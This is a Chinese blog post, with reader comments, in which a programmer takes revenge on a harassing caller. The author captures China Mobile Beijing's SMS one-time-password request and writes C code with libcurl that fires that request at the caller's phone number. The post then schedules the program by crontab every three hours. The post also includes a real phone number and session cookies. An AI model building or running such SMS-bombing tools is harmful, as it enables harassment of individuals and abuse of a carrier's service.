怎样对付骚扰电话短信之程序猿篇

今天花花接到一只猥琐大叔的电话,说朋友给的号码,可以交朋友,交你妹啊交,这么直接,骗小孩儿哪?

直脾气的古人孔子曾经曰过:“以德报怨,何以报德?以德报德,以直报怨!”。

来而不往非礼也。看我小程序猿和你这猥琐大叔谁更孔子。

言归正传,用移动的童鞋都知道,移动的10086.cn可以凭短信动态密码登录,就是它!


用SmartSniff抓包,得到移动发送动态密码的接口通信如下:

GET /passport/SendTmpNum?wwwreq=true&mobile=18310873426&logintype=2&rnum=&backURL=http://www.bj.10086.cn/index/service/easyown/?smartID=86609239196&strPhone=18310873426&logintype=2&failedCode=from_bloc HTTP/1.1
Host: www.bj.10086.cn
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bj.10086.cn/index/service/easyown/?smartID=86609239196&strPhone=18310873426&logintype=2&failedCode=from_bloc
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: WT_FPC=id=121.18.236.223-2965699648.30214937:lv=1332743235076:ss=1332743229702; Webtrends=121.18.236.223.1332743235587947; JSESSIONID=0000alvFfBGp3XI3ZsMtFhZ7-JG:14ncppc54; JSESSIONIDP=0000ziw0fGMi03xKQoQujPlXvxd:14ncphien
HTTP/1.1 200 OK
Date: Mon, 26 Mar 2012 06:35:37 GMT
Server: IBM_HTTP_Server
Content-Type: text/html; charset=gb2312
Content-Language: zh-CN
Transfer-Encoding: chunked
Connection: Keep-alive
Via: 1.1 AN-0002262014313534

6d
<script type=’text/javascript’ >document.domain=’bj.10086.cn’;var a=’OK’;
parent.loginSmsState(a);
</script>
0

我都不敢相信自己的眼睛,竟然这么简单。
把backURL参数省去,剩下url:http://www.bj.10086.cn/passport/SendTmpNum?wwwreq=true&mobile=18310873426&logintype=2&rnum=&backURL=
输入浏览器地址栏,回车,ok。

如此这般,这代码用curl写起来就“so easy~!”了吧。

//fightback.c http://blog.de3eb.cn
#include <curl/curl.h>
#include <stdio.h>

int fightBack(char* lpszNumStr)
{
        int nRet = 0;
        char szUrlFormat[]="http://www.bj.10086.cn/passport/SendTmpNum?wwwreq=true&mobile=%s&logintype=2&rnum=&backURL=";
        char szUrl[sizeof(szUrlFormat)+12];
        sprintf(szUrl,szUrlFormat,lpszNumStr);
        CURL *curl = curl_easy_init();
        do{
                if(!curl)
                {
                        nRet = 1;
                        break;
                }
                curl_easy_setopt(curl, CURLOPT_USERAGENT ,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11");
                curl_easy_setopt(curl, CURLOPT_URL, szUrl);
                nRet = curl_easy_perform(curl);
                curl_easy_cleanup(curl);
                if(nRet != CURLE_OK)
                {
                        nRet = 1;
                        break;
                }
        }while(0);
        return nRet;
}

int main(int argc,char*argv[])
{
        int nRet = 0;
        if(!fightBack("18310873426"))
        {
                printf("OK.\n");
        }
        else
        {
                printf("Failed in fightBack.\n");
                nRet = 1;
        }
        return nRet;
}

最后,链接时不要忘了-lcurl

[cz@btdn fightback]$ ./fightback
document.domain=”bj.10086.cn”;OKOK.

运行良好。
再搭配上我的小vps+crontab

0 */3 * * * /home/cz/c/fightback/fightback > /dev/null

嗯,仁慈点,就仨小时一条吧。
哦吼吼~,够这小子郁闷一段时间了。 ❗
想起来王益进的一句话:“你是万能的程序员儿,没有什么是你办不到的。”
如果你也知道,你也认识我

发表评论?

3 条评论。

  1. 😕 我傻了,用crontab执行系统的curl程序不得了么,真是脱了裤子放P

  2. 别教坏小盆友! 🙂

  3. 年末换vps后,才想起有这么个程序,心一软,就算了吧,crontab就没配这个。今天捣腾旧东西看见又执行了一下。
    返回错误ERRORMOBILE
    呵呵,看来效果还不错。不过往我家门上贴小广告的家伙还没搞死。

回复给 輕微 ¬
取消回复


请输入正确的验证码